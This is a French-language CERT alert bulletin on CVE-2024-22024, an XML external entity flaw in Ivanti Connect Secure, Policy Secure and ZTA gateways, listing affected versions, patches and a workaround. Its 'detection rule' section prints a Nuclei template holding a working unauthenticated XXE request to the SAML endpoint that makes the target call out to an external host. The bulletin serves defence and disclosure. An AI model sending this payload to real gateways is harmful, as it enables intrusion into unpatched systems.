aDvens

Security for the greater good

Bulletin d’alerte

Vulnérabilité critique dans Ivanti

2024-02-16 | **TLP:CLEAR** | CERT aDvens - CTI

Advens - 16 Quai de la Mégisserie - 75001 Paris

Sommaire

Ivanti - CVE-2024-22024

Le 8 février 2024, Ivanti a publié un bulletin de sécurité concernant une nouvelle vulnérabilité dans Ivanti Connect Secure, Ivanti Policy Secure et les passerelles ZTA.

Cette vulnérabilité, découverte par les équipes de WatchTowr, est due à une mauvaise gestion d'entités externes XML (XXE) dans le composent SAML d'Ivanti. En envoyant des requêtes forgées, un attaquant distant et non authentifié peut accéder à des ressources à accès limités.

Mise à jour du 16 février 2024 : Ivanti a publié de nouveaux correctifs pour Ivanti Connect Secure et Ivanti Policy Secure.

Mise à jour du 16 février 2024 : Cette vulnérabilité est exploitée.

Type de vulnérabilité

- CWE-611 : Improper Restriction of XML External Entity Reference

Risque

- Contournement de sécurité

Criticité (score de base CVSS v3.1)

Vecteur d'attaque	Réseau	Portée	Changée
Complexité d'attaque	Faible	Impact sur la confidentialité	Faible
Privilèges requis	Aucun	Impact sur l'intégrité	Faible
Interaction de l'utilisateur	Aucune	Impact sur la disponibilité	Faible

Produits impactés

Ivanti Connect Secure :

- Version 9.1R14.4
- Version 9.1R17.2
- Version 9.1R18.3
- Version 22.4R2.2
- Version 22.5R1.1

Ivanti Policy Secure :

- Version 22.5R1.1

ZTA :

- Version 22.6R1.3

Recommandations

- Mise à jour du 16 février 2024 : Mettre à jour Ivanti Connect Secure vers la version 9.1R15.3, 9.1R16.3, 22.1R6.1, 22.2R4.1, 22.3R1.1, 22.4R1.1 ou ultérieure.
- Mise à jour du 16 février 2024 : Mettre à jour Ivanti Policy Secure vers la version 9.1R16.3, 22.4R1.1, 22.6R1.1 ou ultérieure.
- Mettre à jour Ivanti Connect Secure vers la version 9.1R14.5, 9.1R17.3, 9.1R18.4, 22.4R2.3, 22.5R1.2, 22.5R2.3, 22.6R2.2 ou ultérieure.
- Mettre à jour Ivanti Policy Secure vers la version 9.1R17.3, 9.1R18.4, 22.5R1.2 ou ultérieure.
- Mettre à jour les passerelles ZTA vers la version 22.5R1.6, 22.6R1.5, 22.6R1.7 ou ultérieure.
- Ivanti précise que les utilisateurs ayant appliqué le correctif publié le 31 janvier ou le 1er février et qui ont procédé à la réinitialisation de leur équipement, n'ont pas besoin de répéter l'opération. Dans le cas contraire, l'éditeur recommande de réinitialiser l'équipement.
- Si le correctif ne peut pas être déployé, il est nécessaire de mettre en place la solution de contournement en important le fichier *mitigation.release.20240107.1.xml* via son portail de téléchargement. La procédure associée est disponible sur leur article KB.
- Des informations complémentaires sont disponibles dans le bulletin d'Ivanti et de WatchTowr.

Preuve de concept

Une preuve de concept est disponible en sources ouvertes.

Règle de détection

WatchTowr met à disposition la règle suivante pour détecter l'exploitation de la vulnérabilité.

```
id: ivanti-xxe-cve-2024-22024
info:
  name: Ivanti Connect Secure XXE (CVE-2024-22024)
  author: watchTowr
  severity: high
  tags: xxe,ivanti,watchtowr,cve-2024-22024
http:
  - raw:
      - |
        POST /dana-na/auth/saml-sso.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 236
        SAMLRequest={{base64(concat('<?xml version=\\"1.0\\" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM
\\"http://',rand_text_alpha(10, "abcdef"),'.','{{interactsh-url}}','/x\\"> %watchTowr;]><r></r>'))}}
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
```

Références

- https://www.cve.org/CVERecord?id=CVE-2024-22024
- https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways-282024
- https://forums.ivanti.com/s/article/CVE-2024-22024-XXE-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
- https://labs.watchtowr.com/are-we-now-part-of-ivanti/